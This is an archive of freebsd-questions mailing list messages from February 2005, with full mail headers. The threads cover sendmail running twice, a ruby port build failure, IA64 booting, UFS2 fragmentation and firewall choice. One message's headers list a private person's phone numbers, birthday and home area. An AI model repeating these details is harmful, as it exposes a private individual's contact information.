cale.flintsbach.schmalzbauer.de) (62.245.232.135) by mail.gmx.net (mp003) with SMTP; 09 Feb 2005 16:20:05 +0100 X-Authenticated: #301138 From: Emanuel Strobl To: freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 16:19:59 +0100 User-Agent: KMail/1.7.2 References: <20050209151522.73681.qmail@web51706.mail.yahoo.com> In-Reply-To: <20050209151522.73681.qmail@web51706.mail.yahoo.com> X-Birthday: 10/06/72 X-CelPhone: +49 173 9967781 X-Tel: +49 89 18947781 X-Country: Germany X-Address: Munich, 80686 X-OS: FreeBSD MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart4564238.yoohHWj8lk"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502091620.05081@harrymail> X-Y-GMX-Trusted: 0 cc: saravanan ganapathy Subject: Re: sendmail issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 15:20:09 -0000 --nextPart4564238.yoohHWj8lk Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Am Mittwoch, 9. Februar 2005 16:15 schrieb saravanan ganapathy: > Hai , > > I am using 5.3 release with updated all the ports. > > I am facing a problem with sendmail. > > # pkg_info | grep sendmail > sendmail-8.13.3 Reliable,.... > # /usr/local/etc/rc.d/sendmail.sh start > # netstat -an | grep 25 > tcp6 0 0 *.25 *.* LISTEN > tcp4 0 0 *.25 *.* LISTEN > # telnet 127.0.0.1 25 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]' > 220 ....ESMTP Sendmail 8.13.3/8.13.1; > > It works fine. But I also found that another sendmail > which is in /etc/rc.d/sendmail Sendmail is part of the FreeBSD base system. I don't know if the prot disab= les=20 the base sendmail, you can always add 'sendmail_enable=3D"NONE"' to=20 your /etc/rc.conf. =2DHarry > > If I do > # /etc/rc.d/sendmail start > > Then this also create a new socket as > > #netstat -an | grep 25 > tcp4 0 0 127.0.0.1.25 *.* LISTEN > tcp6 0 0 *.25 *.* LISTEN > tcp4 0 0 *.25 *.* LISTEN > > If I do again > > # telnet 127.0.0.1 25 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]' > 220 ....ESMTP Sendmail 8.13.1/8.13.1; > > How two sendmail(8.13.1 & 8.13.3) installed in my > system? > If I remove sendmail-8.13.3 using pkg_deinstall, > pkg_info shows no sendmail. But still I can start > /etc/rc.d/sendmail. > > What may be the problem? > > Please help me > > Sarav > > > > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" --nextPart4564238.yoohHWj8lk Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCCiolBylq0S4AzzwRAnPiAJ9LeTRlWy75mGi9VX0U1+e47ZaSzACfZ29U KGS7PvH7wPKpmtgV2PKBxIg= =K0Qr -----END PGP SIGNATURE----- --nextPart4564238.yoohHWj8lk-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 15:22:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3F2B016A4CE for ; Wed, 9 Feb 2005 15:22:21 +0000 (GMT) Received: from speedbuggy.telerama.com (speedbuggy.telerama.com [205.201.1.216]) by mx1.FreeBSD.org (Postfix) with SMTP id CA83E43D39 for ; Wed, 9 Feb 2005 15:22:20 +0000 (GMT) (envelope-from m@telerama.com) Received: (qmail 18960 invoked from network); 9 Feb 2005 15:22:18 -0000 Received: from unknown (HELO ?172.22.1.21?) (m@67.103.106.42) by speedbuggy.telerama.com with SMTP; 9 Feb 2005 15:22:18 -0000 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Wed, 09 Feb 2005 10:22:48 -0500 From: m To: Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Subject: FreeBSD IA64 on Compaq DL590? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 15:22:21 -0000 Has anyone successfully booted IA64 BSD 5.3 on a Compaq DL590 machine? The DL590 is a multiprocessor Itanium machine; we just picked one up, and I'm having problems booting from the install disk -- all goes OK until it gets to "Entering Kernel", at which point it freezes. Any help would be most appreciated; if anyone requires more information to assist, I will gladly provide it. M. From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 15:41:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 336FE16A4CE for ; Wed, 9 Feb 2005 15:41:48 +0000 (GMT) Received: from postfix4-2.free.fr (postfix4-2.free.fr [213.228.0.176]) by mx1.FreeBSD.org (Postfix) with ESMTP id 30A8243D54 for ; Wed, 9 Feb 2005 15:41:47 +0000 (GMT) (envelope-from vincent_bachelier@yahoo.fr) Received: from vincent (ferreol-1-82-66-171-150.fbx.proxad.net [82.66.171.150]) by postfix4-2.free.fr (Postfix) with SMTP id 860302BC52F; Wed, 9 Feb 2005 16:41:45 +0100 (CET) Received: by vincent (sSMTP sendmail emulation); Wed, 9 Feb 2005 16:41:50 +0100 Date: Wed, 9 Feb 2005 16:41:50 +0100 From: Bachelier Vincent To: jacula Message-ID: <20050209154150.GA50870@localhost> References: <20050209070112.GB957@localhost> <4209D6BE.1010105@gmail.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Q68bSM7Ycu6FN28Q" Content-Disposition: inline In-Reply-To: <4209D6BE.1010105@gmail.com> User-Agent: Mutt/1.4.2.1i X-Operating-System: FreeBSD vincent 5.3-RELEASE FreeBSD 5.3-RELEASE cc: freebsd-questions@freebsd.org Subject: Re: ruby-1.8.2_2 failed to install under Freebsd 5.3 release on AMD64 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 15:41:48 -0000 --Q68bSM7Ycu6FN28Q Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Ok thx, it work but I have to modify the cut part because of the form of the html links you give me Why this patch aren't include in official branch of ports-cvs ? Well, thx for that, I will be able to update my system now :d Le Wed, Feb 09, 2005 at 10:24:14AM +0100, jacula a =E9crit: > Date: Wed, 09 Feb 2005 10:24:14 +0100 > From: jacula > User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; > rv:1.7.5) Gecko/20050206 > To: freebsd-questions@freebsd.org > Subject: Re: ruby-1.8.2_2 failed to install under Freebsd 5.3 release on > AMD64 >=20 > Bachelier Vincent wrote: > >Hi, I have a problem to install this programs > >In fact I want to use port version of portupgrade and it need ruby, > >but this version wouldn't install > > > >This is le log > > > >=3D=3D=3D> Installing for ruby-1.8.2_2 > >=3D=3D=3D> Generating temporary packing list > >=3D=3D=3D> Checking if lang/ruby18 already installed > >./miniruby ./instruby.rb --dest-dir=3D"" --make=3D"make" --mflags=3D" = -j > >3" --make-flags=3D" ARCH=3Damd64 OPSYS=3DFreeBSD OSREL=3D5.3 OSVERSION= =3D503001 > >PORTOBJFORMAT=3Delf SYSTEMVERSION=3D -j 3" --mantype=3D"doc" > >install -c -p -m 0755 ruby18 /usr/local/bin/ruby18 > >./miniruby ./ext/extmk.rb --dest-dir=3D"" --make=3D"make" --mflags=3D"= -j > >3" --make-flags=3D" ARCH=3Damd64 OPSYS=3DFreeBSD OSREL=3D5.3 OSVERSION= =3D503001 > >PORTOBJFORMAT=3Delf SYSTEMVERSION=3D -j 3" install > > > >Do you have an idea ? > > >=20 > Hi Vincent. >=20 > Idem here for me: >=20 > http://lists.freebsd.org/pipermail/freebsd-ports/2005-February/020660.html >=20 > My solution: >=20 > http://lists.freebsd.org/pipermail/freebsd-ports/2005-February/020512.html >=20 > The attached makefile work for me. >=20 > Bye Jacula > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" --=20 Vincent Bachelier Societe : Solintech Site pro: http://www.solintech.fr Project :=20 Ripperwww: http://www.sourceforge.net/projects/ripperwww --Q68bSM7Ycu6FN28Q Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (FreeBSD) iD8DBQFCCi89EBZzyV4mh3oRAhKtAKC8eX5sahK2/zKm+/2IQNpG5zt9/QCglEKE SKNlcIae881H+r+E6ZkczRk= =jt7X -----END PGP SIGNATURE----- --Q68bSM7Ycu6FN28Q-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 15:53:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A913616A4CE for ; Wed, 9 Feb 2005 15:53:01 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.199]) by mx1.FreeBSD.org (Postfix) with ESMTP id E430543D4C for ; Wed, 9 Feb 2005 15:53:00 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so1121137rne for ; Wed, 09 Feb 2005 07:53:00 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=N8NoR6ijNlQiAOgDNW4Q6fFS6Hz+FoGJa5OeBVLI2/dVyG5tKZLiQ1JHTvE5CvUh18Bh6Uj71h4r/rJVnauDExWf6m+JxfnXBg7IWdPl/L8Gysl4fGBIcBNUQBQNjdeziMNr+shxl8f+bbVf7lZIcNC8yMuLkN7prZmU0jr9vJQ= Received: by 10.38.98.2 with SMTP id v2mr83632rnb; Wed, 09 Feb 2005 07:53:00 -0800 (PST) Received: by 10.38.74.23 with HTTP; Wed, 9 Feb 2005 07:53:00 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 16:53:00 +0100 From: Gert Cuykens To: Kris Kennaway In-Reply-To: <20050209050709.GA45153@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <1107920345.41909.2.camel@codegurus.org> <420991C1.2030808@taborandtashell.net> <20050209050709.GA45153@xor.obsecurity.org> cc: Mick Walker cc: tkelly-freebsd-questions@taborandtashell.net cc: "freebsd-questions@freebsd.org" Subject: Re: GTK vs QT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 15:53:01 -0000 On Tue, 8 Feb 2005 21:07:10 -0800, Kris Kennaway wrote: > On Wed, Feb 09, 2005 at 05:53:55AM +0100, Gert Cuykens wrote: > > On Tue, 08 Feb 2005 20:29:53 -0800, Tabor Kelly > > wrote: > > > Gert Cuykens wrote: > > > > On Wed, 09 Feb 2005 03:39:05 +0000, Mick Walker wrote: > > > > > > > >>Why would you make a statement like that without making points to back > > > >>it up? > > > > > > > > > > > > because i dont have points except that qt can kiss my $$$ :) > > > > > > > > no i am just wondering what you guy's think thats all i lookt around > > > > on the internet a bit but that was old stuff about gtk1 and so. > > > > > > I have read the QT is far more efficient and that the only reason anyone > > > uses GTK is for licensing reasons. Any comments? Also, not to mention > > > that QT is fully portable to M$ Windows. > > > > > > > i knew you where going to say that , let me fire some counter measures > > by saying that GTK2 + GIMP works excellent on windows XP > > Gert, this list is for technical support questions about FreeBSD. If > you want to have random discussions about other topics, the > appropriate list is freebsd-chat. > > Thanks, > Kris > ok From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 16:16:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8CF6916A4CE for ; Wed, 9 Feb 2005 16:16:57 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id EAC6D43D54 for ; Wed, 9 Feb 2005 16:16:56 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1CyuWM-00086D-Lw; Wed, 09 Feb 2005 17:16:54 +0100 Date: Wed, 9 Feb 2005 17:16:53 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <16112141097.20050209171653@hexren.net> To: "Andrew L. Gould" In-Reply-To: <200502090856.16001.algould@datawok.com> References: <200502090856.16001.algould@datawok.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: [OT] easy authpf access from Windows (for non-unix users)? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 16:16:57 -0000 ALG> Is anyone running authpf with Windows clients in the network? If so, ALG> how are the Windows clients logging in? What's the easiest mechanism ALG> for this. ALG> I want my grandson to have free access to the (Windows) computers; but I ALG> want an adult to manually authorize internet access to prevent ALG> unsupervised surfing. ALG> Thanks, ALG> Andrew Gould ALG> _______________________________________________ ALG> freebsd-questions@freebsd.org mailing list ALG> http://lists.freebsd.org/mailman/listinfo/freebsd-questions ALG> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" --------------------------------------------- Putty is, in my experince an easy way to give Windows Clients SSH capabilities. Plus its free. Hexren http://www.chiark.greenend.org.uk/~sgtatham/putty/ From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 16:34:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6334A16A4CE for ; Wed, 9 Feb 2005 16:34:38 +0000 (GMT) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id F167E43D1D for ; Wed, 9 Feb 2005 16:34:36 +0000 (GMT) (envelope-from nkinkade@fastmail.fm) Received: from frontend3.messagingengine.com (frontend3.internal [10.202.2.152]) by frontend1.messagingengine.com (Postfix) with ESMTP id 064C1C562D5 for ; Wed, 9 Feb 2005 11:34:36 -0500 (EST) X-Sasl-enc: Y+8EgwZtCWod3h+ncix9gw 1107966875 Received: from gentoo-npk.bmp.ub (unknown [206.27.244.136]) by www.fastmail.fm (Postfix) with ESMTP id E6B4C2876C for ; Wed, 9 Feb 2005 11:34:35 -0500 (EST) Received: from nkinkade by gentoo-npk.bmp.ub with local (Exim 4.21) id 1CyunR-00005P-Cr for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 10:34:33 -0600 Date: Wed, 9 Feb 2005 10:34:33 -0600 From: Nathan Kinkade To: freebsd-questions@freebsd.org Message-ID: <20050209163433.GW8365@gentoo-npk.bmp.ub> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="B0+HW0pjZ+2jqF7e" Content-Disposition: inline X-PGP-Fingerprint: 3FDF A406 B149 3959 A8CB C5A9 3B46 4812 D852 7E49 User-Agent: Mutt/1.5.6i Sender: Subject: determine ufs2 %fragmentation on mounted filesystem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Nathan Kinkade List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 16:34:38 -0000 --B0+HW0pjZ+2jqF7e Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Does anyone know of a way to determine the %fragmentation on a mounted UFS2 filesystem? An entry showed up in messages yesterday stating that /usr has moved from time to space optimization yet the filesystem is only at about 25% of it's capacity. From what I can read it seems that the kernel might also make this switch if fragmentation becomes excessive. However, this is a busy production machine running Squid, so I can't conveniently umount /usr. Thanks, Nathan --B0+HW0pjZ+2jqF7e Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFCCjuZO0ZIEthSfkkRAqVgAKCLBCiFMFv/3ELMVT6xbBavctvnqACgkWnl u/XMyyKSaPfDR0IE8L6oaGs= =Q5MZ -----END PGP SIGNATURE----- --B0+HW0pjZ+2jqF7e-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 16:43:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9080C16A4CE for ; Wed, 9 Feb 2005 16:43:11 +0000 (GMT) Received: from ws1.cnweb.com (ws1.cnweb.com [207.91.1.11]) by mx1.FreeBSD.org (Postfix) with ESMTP id DB68643D1F for ; Wed, 9 Feb 2005 16:43:10 +0000 (GMT) (envelope-from darryl@osborne-ind.com) Received: (qmail 9542 invoked from network); 9 Feb 2005 16:43:10 -0000 Received: from p245n23.ruraltel.net (HELO darryl) (24.225.23.245) by gibraltarpackaginggroup.com with SMTP; 9 Feb 2005 16:43:10 -0000 From: "Darryl Hoar" To: Date: Wed, 9 Feb 2005 10:42:51 -0600 Message-ID: <000801c50ec5$a2115c00$0701a8c0@darryl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Subject: Firewall throughput question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: darryl@osborne-ind.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 16:43:11 -0000 Greetings, I have had a Freebsd firewall (Older computer with (1) 3com 10Mb ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card). The firewall croaked on me (motherboard died). As a quick fix, I plugged in a Linksys BEFSX41. My Question is, should I build a new Freebsd firewall or just continue using the Linksys ? Throughput and security are my concern. I can have up to 20 machines on the LAN at one time using the internet, so traffic throughput is a factor. Anyway, my inclination is to build a new freebsd firewall, but don't want to do the work if the Linksys is good enough. Thanks for any ideas or suggestions. -Darryl From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 16:44:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6EA0316A4CE for ; Wed, 9 Feb 2005 16:44:43 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id BA1FA43D1F for ; Wed, 9 Feb 2005 16:44:42 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id 3F6CEFD01F; Wed, 9 Feb 2005 17:44:41 +0100 (CET) Message-ID: <420A3DF4.1080009@locolomo.org> Date: Wed, 09 Feb 2005 17:44:36 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Nathan Kinkade References: <20050209163433.GW8365@gentoo-npk.bmp.ub> In-Reply-To: <20050209163433.GW8365@gentoo-npk.bmp.ub> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: determine ufs2 %fragmentation on mounted filesystem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 16:44:43 -0000 Nathan Kinkade wrote: > Does anyone know of a way to determine the %fragmentation on a mounted > UFS2 filesystem? An entry showed up in messages yesterday stating that > /usr has moved from time to space optimization yet the filesystem is > only at about 25% of it's capacity. From what I can read it seems that > the kernel might also make this switch if fragmentation becomes > excessive. However, this is a busy production machine running Squid, so > I can't conveniently umount /usr. fsck -t ufs2 /usr? Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 16:45:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 39F8216A4CE for ; Wed, 9 Feb 2005 16:45:28 +0000 (GMT) Received: from ALLS.cdi-axion.com (cdi-axion.com [206.162.137.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8771F43D2F for ; Wed, 9 Feb 2005 16:45:22 +0000 (GMT) (envelope-from Medik@pbsclan.com) Received: from brain.pbsclan.com ([216.228.217.55]) by ALLS.cdi-axion.com (8.12.5/8.12.5) with ESMTP id j19H55qH005574 for ; Wed, 9 Feb 2005 12:05:05 -0500 Message-Id: <5.1.0.14.2.20050209112731.00b1e930@cdi-axion.com> X-Sender: Medik@pbsclan.com@mail.pbsclan.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Wed, 09 Feb 2005 11:45:23 -0500 To: questions@FreeBSD.org From: ".:PBS:. Medik" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Content-Filtered-By: Mailman/MimeDel 2.1.1 Subject: Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 16:45:28 -0000 Hello, My name is Marc. I'll explain quickly my situation, some time ago I had downloaded freeBSD4.6.2 R (about 2 yrs ago) I still have it today and proceeded to reinstalling it. I realize I should have grabbed the latest release, but alas for some reason I can't through my router. Yes I'm running a private network on windows, (for the time being until I can adequately configure freebsd as a server). When I had gotten my first copy of freebsd (this release in question) I had taught myself how to use it. but this is over 2 yrs ago, and lots have melted away since. So in essence I'm again labelled a newbie. I tried re-building my kernel and was forced to reinstall the generic kernel, further more, I would also like to be able to install the Apache web server, I managed to get the Apache_1.3.33 but for some reason it wont compile (make), I have assumed that perhaps it was already compiled and tried to do a config or an install to it and still nothing.. what am I doing wrong? Yes I have already literally downloaded and printed several man pages on multiple topics (over 180 pages worth) and I still can't make heads or tails from it. I assume your time is limited as mine is, I'm a business owner with little time to dedicate to my personal project and I don't have anyone knowledgeable enough on hand to get any personal help. My question is this, would it be at all possible to have a form of 1 on 1 to resolve this issue? I await your response eagerly. Thank you greatly for any help you can provide. Marc From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 16:45:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5DB8416A4CE for ; Wed, 9 Feb 2005 16:45:55 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 079FC43D39 for ; Wed, 9 Feb 2005 16:45:55 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id F1D54512AF; Wed, 9 Feb 2005 08:45:53 -0800 (PST) Date: Wed, 9 Feb 2005 08:45:53 -0800 From: Kris Kennaway To: Ramiro Aceves Message-ID: <20050209164553.GA32885@xor.obsecurity.org> References: <4209FCC4.1050702@wanadoo.es> <420A1FB5.8050908@wanadoo.es> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="3V7upXqbjpZ4EhLz" Content-Disposition: inline In-Reply-To: <420A1FB5.8050908@wanadoo.es> User-Agent: Mutt/1.4.2.1i cc: questions@freebsd.org cc: Ted Mittelstaedt cc: Kris Kennaway Subject: Re: >16MB memory requirement for 5.3 install (Re: cracked outfloppy install) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 16:45:55 -0000 --3V7upXqbjpZ4EhLz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Feb 09, 2005 at 03:35:33PM +0100, Ramiro Aceves wrote: > Submitted PR is docs/77304 Thanks! Kris --3V7upXqbjpZ4EhLz Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCj5BWry0BWjoQKURAn8/AKDKoIc+x12Td89W6fVgAEdGpeJ1PACeI/lt 1bILVLFhKqwazYzcPDDWgzw= =wlBl -----END PGP SIGNATURE----- --3V7upXqbjpZ4EhLz-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 16:54:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E067316A4CE for ; Wed, 9 Feb 2005 16:54:09 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9D12A43D41 for ; Wed, 9 Feb 2005 16:54:09 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1Cyv6M-0005rX-7Y; Wed, 09 Feb 2005 17:54:06 +0100 Date: Wed, 9 Feb 2005 17:54:05 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <9314372786.20050209175405@hexren.net> To: Darryl Hoar In-Reply-To: <000801c50ec5$a2115c00$0701a8c0@darryl> References: <000801c50ec5$a2115c00$0701a8c0@darryl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Firewall throughput question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 16:54:10 -0000 DH> Greetings, DH> I have had a Freebsd firewall (Older computer with (1) 3com 10Mb DH> ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card). DH> The firewall croaked on me (motherboard died). As a quick fix, DH> I plugged in a Linksys BEFSX41. DH> My Question is, should I build a new Freebsd firewall or just DH> continue using the Linksys ? Throughput and security are my DH> concern. I can have up to 20 machines on the LAN at one time DH> using the internet, so traffic throughput is a factor. DH> Anyway, my inclination is to build a new freebsd firewall, but DH> don't want to do the work if the Linksys is good enough. DH> Thanks for any ideas or suggestions. DH> -Darryl --------------------------------------------- Many people say, the only way to truly answer the "traffic throughput" question is test the firewall you have under life conditions and see if it can handle what the LAN throws at it. As for security, that has imho more to do with setup than with hardware used imho. Get hardware cryptographic accelerators if you need that much and have the money to spent. Hexren From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 16:56:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3B18016A4CE for ; Wed, 9 Feb 2005 16:56:26 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id A8CCE43D2D for ; Wed, 9 Feb 2005 16:56:25 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id 124BCFD01F; Wed, 9 Feb 2005 17:56:23 +0100 (CET) Message-ID: 